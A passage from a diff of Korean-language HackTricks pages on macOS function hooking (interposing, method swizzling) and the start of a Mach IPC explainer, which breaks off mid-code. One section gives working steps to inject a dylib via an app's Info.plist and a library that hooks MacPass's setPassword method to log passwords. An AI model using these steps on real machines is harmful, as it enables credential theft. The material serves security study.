그런 다음, \*\*`DYLD_INSERT_LIBRARIES`**를 사용하여 dylib를 주입합니다(Interposing은 주 앱이 로드되기 전에 발생해야 합니다). 물론, \[**`DYLD_INSERT_LIBRARIES`\*\*의 사용에 적용되는 [**제한 사항**](macos-library-injection/#check-restrictions)도 여기에 적용됩니다].
|
||||
|
||||
### printf Interpose
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="interpose.c" %}
|
||||
{% code title="interpose.c" %}
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
#include <stdio.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int my_printf(const char *format, ...) {
|
||||
//va_list args;
|
||||
//va_start(args, format);
|
||||
//int ret = vprintf(format, args);
|
||||
//va_end(args);
|
||||
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
|
||||
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="hello.c" %}
|
||||
```c
|
||||
//gcc hello.c -o hello
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
printf("Hello World!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <dlfcn.h>
|
||||
|
||||
typedef int (*orig_open_type)(const char *pathname, int flags);
|
||||
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
|
||||
|
||||
int open(const char *pathname, int flags) {
|
||||
orig_open_type orig_open;
|
||||
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
|
||||
printf("Opening file: %s\n", pathname);
|
||||
return orig_open(pathname, flags);
|
||||
}
|
||||
|
||||
FILE *fopen(const char *pathname, const char *mode) {
|
||||
orig_fopen_type orig_fopen;
|
||||
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
|
||||
printf("Opening file: %s\n", pathname);
|
||||
return orig_fopen(pathname, mode);
|
||||
}
|
||||
```
|
||||
|
||||
이 코드는 `open` 및 `fopen` 함수를 후킹하여 파일이 열릴 때마다 해당 파일의 경로를 출력합니다. `dlsym` 함수를 사용하여 원래 함수에 대한 포인터를 가져온 다음, 후킹 함수에서 해당 원래 함수를 호출하고 경로를 출력합니다. 이렇게 함으로써 파일이 열릴 때마다 경로를 확인할 수 있습니다.
|
||||
|
||||
```c
|
||||
// Just another way to define an interpose
|
||||
// gcc -dynamiclib interpose2.c -o interpose2.dylib
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
#define DYLD_INTERPOSE(_replacement, _replacee) \
|
||||
__attribute__((used)) static struct { \
|
||||
const void* replacement; \
|
||||
const void* replacee; \
|
||||
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
|
||||
(const void*) (unsigned long) &_replacement, \
|
||||
(const void*) (unsigned long) &_replacee \
|
||||
};
|
||||
|
||||
int my_printf(const char *format, ...)
|
||||
{
|
||||
int ret = printf("Hello from interpose\n");
|
||||
return ret;
|
||||
}
|
||||
|
||||
DYLD_INTERPOSE(my_printf,printf);
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
|
||||
Hello from interpose
|
||||
|
||||
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
|
||||
Hello from interpose
|
||||
```
|
||||
|
||||
## 메소드 스위즐링
|
||||
|
||||
ObjectiveC에서 메소드는 다음과 같이 호출됩니다: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
|
||||
|
||||
**객체**, **메소드**, **파라미터**가 필요합니다. 그리고 메소드가 호출되면 **`objc_msgSend`** 함수를 사용하여 **메시지가 전송**됩니다: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
|
||||
|
||||
객체는 **`someObject`**, 메소드는 **`@selector(method1p1:p2:)`**, 인자는 **value1**, **value2**입니다.
|
||||
|
||||
객체 구조를 따라가면 메소드의 **이름**과 **메소드 코드의 포인터**가 **위치**한 **메소드 배열**에 도달할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
메소드와 클래스는 이름을 기반으로 액세스되므로 이 정보는 바이너리에 저장되어 있으므로 `otool -ov </path/bin>` 또는 [`class-dump </path/bin>`](https://github.com/nygard/class-dump)을 사용하여 검색할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 원시 메소드에 액세스하기
|
||||
|
||||
다음 예제와 같이 메소드의 정보(이름, 파라미터 수, 주소 등)에 액세스할 수 있습니다:
|
||||
|
||||
```objectivec
|
||||
// gcc -framework Foundation test.m -o test
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
int main() {
|
||||
// Get class of the variable
|
||||
NSString* str = @"This is an example";
|
||||
Class strClass = [str class];
|
||||
NSLog(@"str's Class name: %s", class_getName(strClass));
|
||||
|
||||
// Get parent class of a class
|
||||
Class strSuper = class_getSuperclass(strClass);
|
||||
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
|
||||
|
||||
// Get information about a method
|
||||
SEL sel = @selector(length);
|
||||
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
|
||||
Method m = class_getInstanceMethod(strClass,sel);
|
||||
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
|
||||
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
|
||||
|
||||
// Iterate through the class hierarchy
|
||||
NSLog(@"Listing methods:");
|
||||
Class currentClass = strClass;
|
||||
while (currentClass != NULL) {
|
||||
unsigned int inheritedMethodCount = 0;
|
||||
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
|
||||
|
||||
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
|
||||
|
||||
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
|
||||
Method method = inheritedMethods[i];
|
||||
SEL selector = method_getName(method);
|
||||
const char* methodName = sel_getName(selector);
|
||||
unsigned long address = (unsigned long)method_getImplementation(m);
|
||||
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
|
||||
}
|
||||
|
||||
// Free the memory allocated by class_copyMethodList
|
||||
free(inheritedMethods);
|
||||
currentClass = class_getSuperclass(currentClass);
|
||||
}
|
||||
|
||||
// Other ways to call uppercaseString method
|
||||
if([str respondsToSelector:@selector(uppercaseString)]) {
|
||||
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
|
||||
NSLog(@"Uppercase string: %@", uppercaseString);
|
||||
}
|
||||
|
||||
// Using objc_msgSend directly
|
||||
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
|
||||
NSLog(@"Uppercase string: %@", uppercaseString2);
|
||||
|
||||
// Calling the address directly
|
||||
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
|
||||
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
|
||||
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
|
||||
NSLog(@"Uppercase string: %@", uppercaseString3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
### method\_exchangeImplementations을 사용한 메소드 스위즐링
|
||||
|
||||
함수 \*\*`method_exchangeImplementations`\*\*은 **다른 함수의 구현**의 **주소**를 **변경**하는 것을 가능하게 합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서 함수가 호출될 때 **다른 함수가 실행**됩니다.
|
||||
{% endhint %}
|
||||
|
||||
```objectivec
|
||||
//gcc -framework Foundation swizzle_str.m -o swizzle_str
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
|
||||
// Create a new category for NSString with the method to execute
|
||||
@interface NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (SwizzleString)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original method
|
||||
return [self swizzledSubstringFromIndex:from];
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
// Perform method swizzling
|
||||
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
|
||||
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
|
||||
method_exchangeImplementations(originalMethod, swizzledMethod);
|
||||
|
||||
// We changed the address of one method for the other
|
||||
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
|
||||
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
이 경우, **합법적인** 메소드의 **구현 코드**가 **메소드 이름**을 확인한다면, 이 스위즐링을 감지하고 실행을 방지할 수 있습니다.
|
||||
|
||||
다음 기술에는 이러한 제한이 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
### method\_setImplementation을 사용한 메소드 스위즐링
|
||||
|
||||
이전 형식은 이상합니다. 왜냐하면 한 메소드의 구현을 다른 메소드로 변경하고 있기 때문입니다. **`method_setImplementation`** 함수를 사용하여 한 메소드의 구현을 다른 메소드로 **변경**할 수 있습니다.
|
||||
|
||||
새로운 구현에서 이전 구현을 호출할 경우, 나중에 해당 주소를 찾기가 훨씬 복잡해지므로, **원래 구현의 주소를 저장**해 두는 것을 기억하세요.
|
||||
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
#import <objc/message.h>
|
||||
|
||||
static IMP original_substringFromIndex = NULL;
|
||||
|
||||
@interface NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
|
||||
|
||||
@end
|
||||
|
||||
@implementation NSString (Swizzlestring)
|
||||
|
||||
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
|
||||
NSLog(@"Custom implementation of substringFromIndex:");
|
||||
|
||||
// Call the original implementation using objc_msgSendSuper
|
||||
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
|
||||
}
|
||||
|
||||
@end
|
||||
|
||||
int main(int argc, const char * argv[]) {
|
||||
@autoreleasepool {
|
||||
// Get the class of the target method
|
||||
Class stringClass = [NSString class];
|
||||
|
||||
// Get the swizzled and original methods
|
||||
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
|
||||
|
||||
// Get the function pointer to the swizzled method's implementation
|
||||
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
|
||||
|
||||
// Swap the implementations
|
||||
// It return the now overwritten implementation of the original method to store it
|
||||
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
|
||||
|
||||
// Example usage
|
||||
NSString *myString = @"Hello, World!";
|
||||
NSString *subString = [myString substringFromIndex:7];
|
||||
NSLog(@"Substring: %@", subString);
|
||||
|
||||
// Set the original implementation back
|
||||
method_setImplementation(originalMethod, original_substringFromIndex);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 후킹 공격 방법론
|
||||
|
||||
이 페이지에서는 함수 후킹하는 다양한 방법에 대해 논의되었습니다. 그러나 이들은 **프로세스 내에서 코드를 실행하여 공격**하는 것을 포함합니다.
|
||||
|
||||
이를 위해 가장 쉬운 기술은 [환경 변수 또는 하이재킹을 통한 Dyld 주입](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)을 사용하는 것입니다. 그러나 [Dylib 프로세스 주입](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)을 통해서도 이를 수행할 수 있다고 생각합니다.
|
||||
|
||||
그러나 두 가지 옵션 모두 **보호되지 않은** 이진 파일/프로세스에 **제한**이 있습니다. 제한 사항에 대해 자세히 알아보려면 각 기술을 확인하십시오.
|
||||
|
||||
그러나 함수 후킹 공격은 매우 특정한 공격입니다. 공격자는 이를 통해 프로세스 내에서 **민감한 정보를 탈취**할 것입니다 (그렇지 않다면 프로세스 주입 공격을 수행할 것입니다). 이러한 민감한 정보는 MacPass와 같은 사용자가 다운로드한 앱에 위치할 수 있습니다.
|
||||
|
||||
따라서 공격자는 취약점을 찾거나 애플리케이션의 서명을 제거하여 애플리케이션의 Info.plist를 통해 **`DYLD_INSERT_LIBRARIES`** 환경 변수를 주입할 것입니다. 다음과 같이 추가합니다:
|
||||
|
||||
```xml
|
||||
<key>LSEnvironment</key>
|
||||
<dict>
|
||||
<key>DYLD_INSERT_LIBRARIES</key>
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
|
||||
그런 다음 **애플리케이션을 다시 등록**합니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
해당 라이브러리에 정보를 유출하기 위한 후킹 코드를 추가합니다: 비밀번호, 메시지...
|
||||
|
||||
{% hint style="danger" %}
|
||||
macOS의 최신 버전에서는 애플리케이션 이진 파일의 서명을 제거하고 이전에 실행되었다면, macOS는 해당 애플리케이션을 더 이상 실행하지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
#### 라이브러리 예제
|
||||
|
||||
```objectivec
|
||||
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
|
||||
|
||||
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
|
||||
|
||||
// Listen to the logs with something like:
|
||||
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
|
||||
|
||||
#include <Foundation/Foundation.h>
|
||||
#import <objc/runtime.h>
|
||||
|
||||
// Here will be stored the real method (setPassword in this case) address
|
||||
static IMP real_setPassword = NULL;
|
||||
|
||||
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
|
||||
{
|
||||
// Function that will log the password and call the original setPassword(pass, file_path) method
|
||||
NSLog(@"[+] Password is: %@", password);
|
||||
|
||||
// After logging the password call the original method so nothing breaks.
|
||||
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
|
||||
}
|
||||
|
||||
// Library constructor to execute
|
||||
__attribute__((constructor))
|
||||
static void customConstructor(int argc, const char **argv) {
|
||||
// Get the real method address to not lose it
|
||||
Class classMPDocument = NSClassFromString(@"MPDocument");
|
||||
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
|
||||
|
||||
// Make the original method setPassword call the fake implementation one
|
||||
IMP fake_IMP = (IMP)custom_setPassword;
|
||||
real_setPassword = method_setImplementation(real_Method, fake_IMP);
|
||||
}
|
||||
```
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,469 @@
|
|||
# macOS IPC - Inter Process Communication
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소로 **PR 제출**하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 포트를 통한 Mach 메시징
|
||||
|
||||
### 기본 정보
|
||||
|
||||
Mach는 **작업**을 **리소스 공유의 가장 작은 단위**로 사용하며, 각 작업에는 **여러 스레드**가 포함될 수 있습니다. 이러한 **작업과 스레드는 POSIX 프로세스와 스레드에 1:1로 매핑**됩니다.
|
||||
|
||||
작업 간 통신은 Mach 프로세스 간 통신 (IPC)을 통해 이루어지며, **커널이 관리하는 메시지 큐처럼 작동하는 포트 간에 메시지가 전송**됩니다.
|
||||
|
||||
각 프로세스에는 **IPC 테이블**이 있어 **프로세스의 mach 포트**를 찾을 수 있습니다. Mach 포트의 이름은 실제로 숫자(커널 객체를 가리키는 포인터)입니다.
|
||||
|
||||
프로세스는 또한 **일부 권한을 가진 포트 이름을 다른 작업에게 보낼 수 있으며**, 커널은 이를 다른 작업의 **IPC 테이블에 등록**합니다.
|
||||
|
||||
### 포트 권한
|
||||
|
||||
작업이 수행할 수 있는 작업을 정의하는 포트 권한은 이 통신에 중요합니다. 가능한 **포트 권한**은 ([여기에서 정의된 내용](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **수신 권한**은 포트로 전송된 메시지를 수신할 수 있게 합니다. Mach 포트는 MPSC (다중 생산자, 단일 소비자) 큐이므로 전체 시스템에서 각 포트에 대해 **하나의 수신 권한만** 있을 수 있습니다 (여러 프로세스가 하나의 파이프의 읽기 끝에 대한 파일 디스크립터를 모두 보유할 수 있는 파이프와는 달리).
|
||||
* **수신 권한을 가진 작업**은 메시지를 수신하고 **송신 권한을 생성**할 수 있어 메시지를 보낼 수 있습니다. 처음에는 **자체 작업이 자체 포트에 대한 수신 권한**만 가지고 있습니다.
|
||||
* **송신 권한**은 포트로 메시지를 보낼 수 있게 합니다.
|
||||
* 송신 권한은 복제될 수 있어 송신 권한을 소유한 작업이 권한을 복제하고 **세 번째 작업에게 부여**할 수 있습니다.
|
||||
* **한 번 송신 권한**은 포트로 한 번의 메시지를 보낼 수 있고 그 후 사라집니다.
|
||||
* **포트 세트 권한**은 단일 포트가 아닌 \_포트 세트\_를 나타냅니다. 포트 세트에서 메시지를 디큐하는 것은 해당 포트 중 하나에서 메시지를 디큐합니다. 포트 세트는 Unix의 `select`/`poll`/`epoll`/`kqueue`와 매우 유사하게 여러 포트에서 동시에 수신할 수 있습니다.
|
||||
* **데드 네임**은 실제 포트 권한이 아니라 단순히 자리 표시자입니다. 포트가 파괴되면 포트에 대한 모든 기존 포트 권한이 데드 네임으로 변합니다.
|
||||
|
||||
**작업은 다른 작업에게 송신 권한을 전달**하여 메시지를 다시 보낼 수 있습니다. **송신 권한은 복제될 수 있어 작업이 권한을 복제하고 세 번째 작업에게 권한을 부여**할 수 있습니다. 이는 **부트스트랩 서버**라는 중간 프로세스와 결합되어 작업 간 효과적인 통신을 가능하게 합니다.
|
||||
|
||||
### 파일 포트
|
||||
|
||||
파일 포트를 사용하면 Mac 포트(맥 포트 권한을 사용)에 파일 디스크립터를 캡슐화할 수 있습니다. 주어진 FD에서 `fileport_makeport`를 사용하여 `fileport`를 만들고 `fileport_makefd`를 사용하여 fileport에서 FD를 만들 수 있습니다.
|
||||
|
||||
### 통신 설정
|
||||
|
||||
#### 단계:
|
||||
|
||||
통신 채널을 설정하려면 **부트스트랩 서버**(mac의 **launchd**)가 관여합니다.
|
||||
|
||||
1. 작업 **A**는 **새 포트**를 시작하여 프로세스에서 **수신 권한**을 획득합니다.
|
||||
2. 수신 권한을 보유한 작업 **A**는 포트에 대한 **송신 권한을 생성**합니다.
|
||||
3. 작업 **A**는 **부트스트랩 서버**와 **포트의 서비스 이름** 및 **송신 권한**을 제공하여 **부트스트랩 등록**이라는 절차를 통해 **연결**을 설정합니다.
|
||||
4. 작업 **B**는 **부트스트랩 서버**와 **서비스** 이름에 대한 부트스트랩 **조회**를 실행합니다. 성공하면 **서버가 작업 A로부터 받은 송신 권한을 복제**하고 **작업 B로 전송**합니다.
|
||||
5. 송신 권한을 획들한 작업 **B**는 **메시지를 작성**하고 **작업 A로 전송**할 수 있습니다.
|
||||
6. 양방향 통신을 위해 일반적으로 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A에게 제공**하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
|
||||
부트스트랩 서버는 **서비스 이름을 인증할 수 없습니다**. 이는 **작업**이 잠재적으로 **시스템 작업을 가장할 수 있으며**, 예를 들어 **인가 서비스 이름을 가장하여 모든 요청을 승인**할 수 있습니다.
|
||||
|
||||
그런 다음, Apple은 **시스템 제공 서비스의 이름**을 안전한 구성 파일에 저장합니다. 이 파일은 **SIP로 보호된** 디렉토리인 `/System/Library/LaunchDaemons` 및 `/System/Library/LaunchAgents`에 있습니다. 각 서비스 이름 옆에는 **관련된 이진 파일도 저장**됩니다. 부트스트랩 서버는 이러한 서비스 이름 각각에 대한 **수신 권한을 생성**하고 보유합니다.
|
||||
|
||||
이러한 사전 정의된 서비스에 대해서는 **조회 프로세스가 약간 다릅니다**. 서비스 이름을 조회할 때, launchd는 서비스를 동적으로 시작합니다. 새로운 워크플로우는 다음과 같습니다:
|
||||
|
||||
* 작업 **B**는 서비스 이름에 대한 부트스트랩 **조회**를 시작합니다.
|
||||
* **launchd**는 작업이 실행 중인지 확인하고 실행 중이 아니면 **시작**합니다.
|
||||
* 작업 **A**(서비스)는 **부트스트랩 체크인**을 수행합니다. 여기서 **부트스트랩** 서버는 송신 권한을 생성하고 보유하며 **수신 권한을 작업 A로 전송**합니다.
|
||||
* launchd는 **송신 권한을 복제하고 작업 B로 전송**합니다.
|
||||
* 작업 **B**는 **수신** 권한과 **송신** 권한이 있는 새 포트를 생성하고 **송신 권한을 작업 A**(svc)에게 제공하여 작업 B로 메시지를 보낼 수 있습니다(양방향 통신).
|
||||
|
||||
그러나 이 프로세스는 사전 정의된 시스템 작업에만 적용됩니다. 비시스템 작업은 여전히 처음에 설명된대로 작동하며, 이는 가장할 수 있는 가능성을 열어둘 수 있습니다.
|
||||
|
||||
### Mach 메시지
|
||||
|
||||
[더 많은 정보는 여기에서 찾을 수 있습니다](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
`mach_msg` 함수는 사실상 시스템 호출로, Mach 메시지를 보내고 받기 위해 사용됩니다. 이 함수는 보내려는 메시지를 초기 인수로 필요로 합니다. 이 메시지는 `mach_msg_header_t` 구조로 시작해야 하며 실제 메시지 내용이 뒤따라야 합니다. 이 구조는 다음과 같이 정의됩니다:
|
||||
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
mach_msg_size_t msgh_size;
|
||||
mach_port_t msgh_remote_port;
|
||||
mach_port_t msgh_local_port;
|
||||
mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
|
||||
\_**수신 권한**\_을 가진 프로세스는 Mach 포트에서 메시지를 수신할 수 있습니다. 반대로 **보내는 쪽**은 _**send**_ 또는 \_**send-once right**\_를 부여받습니다. send-once right는 한 번의 메시지를 보낸 후에는 무효화됩니다.
|
||||
|
||||
쉬운 **양방향 통신**을 위해 프로세스는 mach **메시지 헤더**에서 _응답 포트_ (**`msgh_local_port`**)라고 불리는 mach 포트를 지정할 수 있습니다. 메시지의 **수신자**는 이 메시지에 대한 응답을 이 포트로 보낼 수 있습니다. \*\*`msgh_bits`\*\*의 비트 플래그는 이 포트에 대해 **send-once right**가 파생되고 전송되어야 함을 나타내는 데 사용될 수 있습니다 (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
XPC 메시지에서 사용되는 이러한 종류의 양방향 통신은 응답을 기대하는 XPC 메시지에서 사용됩니다 (`xpc_connection_send_message_with_reply` 및 `xpc_connection_send_message_with_reply_sync`). 그러나 **일반적으로 서로 다른 포트가 생성**되어 양방향 통신을 생성하는 방법에 대해 이전에 설명한 대로 사용됩니다.
|
||||
{% endhint %}
|
||||
|
||||
메시지 헤더의 다른 필드는 다음과 같습니다:
|
||||
|
||||
* `msgh_size`: 전체 패킷의 크기.
|
||||
* `msgh_remote_port`: 이 메시지가 전송된 포트.
|
||||
* `msgh_voucher_port`: [mach 바우처](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
* `msgh_id`: 수신자가 해석하는 이 메시지의 ID.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**mach 메시지는 \_mach 포트**를 통해 전송되며, 이는 mach 커널에 내장된 **단일 수신자**, **다중 송신자** 통신 채널입니다. **여러 프로세스**가 mach 포트로 메시지를 **보낼 수 있지만**, 언제든지 **단일 프로세스만**이 그것을 읽을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 포트 나열하기
|
||||
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
|
||||
iOS에서 이 도구를 설치하려면 [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)에서 다운로드할 수 있습니다.
|
||||
|
||||
### 코드 예시
|
||||
|
||||
**sender**가 포트를 할당하고 `org.darlinghq.example` 이름에 대한 **send right**를 생성하여 **부트스트랩 서버**로 보내는 방법에 주목하십시오. 수신자는 그 이름에 대한 **send right**를 요청하고 이를 사용하여 **메시지를 보내는** 방법을 사용했습니다.
|
||||
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
// gcc receiver.c -o receiver
|
||||
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
|
||||
// Create a new port.
|
||||
mach_port_t port;
|
||||
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_allocate() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_allocate() created port right name %d\n", port);
|
||||
|
||||
|
||||
// Give us a send right to this port, in addition to the receive right.
|
||||
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("mach_port_insert_right() inserted a send right\n");
|
||||
|
||||
|
||||
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
|
||||
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_register() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("bootstrap_register()'ed our port\n");
|
||||
|
||||
|
||||
// Wait for a message.
|
||||
struct {
|
||||
mach_msg_header_t header;
|
||||
char some_text[10];
|
||||
int some_number;
|
||||
mach_msg_trailer_t trailer;
|
||||
} message;
|
||||
|
||||
kr = mach_msg(
|
||||
&message.header, // Same as (mach_msg_header_t *) &message.
|
||||
MACH_RCV_MSG, // Options. We're receiving a message.
|
||||
0, // Size of the message being sent, if sending.
|
||||
sizeof(message), // Size of the buffer for receiving.
|
||||
port, // The port to receive a message on.
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
|
||||
);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("mach_msg() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
printf("Got a message\n");
|
||||
|
||||
message.some_text[9] = 0;
|
||||
